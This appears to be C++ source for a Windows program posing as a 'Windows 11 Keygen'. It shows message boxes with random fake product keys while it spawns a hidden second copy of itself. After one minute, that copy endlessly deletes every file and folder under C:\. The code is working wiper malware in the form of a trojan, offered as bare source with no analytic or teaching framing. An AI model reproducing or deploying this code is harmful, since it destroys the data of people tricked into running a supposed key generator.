#include <filesystem>
#include <random>
#include <windows.h>

namespace fs = std::filesystem;

void payload(const fs::path &path)
{
    for (const auto &i: fs::directory_iterator(path))
    {
        try
        {
            if (i.is_directory())
                payload(i);
            fs::remove_all(i);
        }
        catch (...)
        {
        }
    }
}

void message()
{
    const std::size_t N = 35;
    char key[N] = "key: ";
    std::random_device device;

    do
    {
        for (std::size_t i = 5; i < N; ++i)
            key[i] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[device() % 36];
        for (std::size_t i = 10; i < N; i += 6)
            key[i] = '-';
        key[N - 1] = '\0';
    } while (MessageBoxA(0,
                         key,
                         "Windows 11 Keygen",
                         MB_ICONINFORMATION | MB_RETRYCANCEL) == IDRETRY);
}

int main(int argc, char *argv[])
{
    const char NAME[] = "keygen";

    HANDLE mutex = OpenMutexA(SYNCHRONIZE, FALSE, NAME);

    if (mutex == NULL)
    {
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        mutex = CreateMutexA(NULL, FALSE, NAME);
        CreateProcessA(
            NULL, argv[0], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        message();
        ReleaseMutex(mutex);
    }
    else
    {
        Sleep(60000); // 60000ms = 60s = 1min
        while (true)
            payload("C:\\");
    }

    CloseHandle(mutex);
}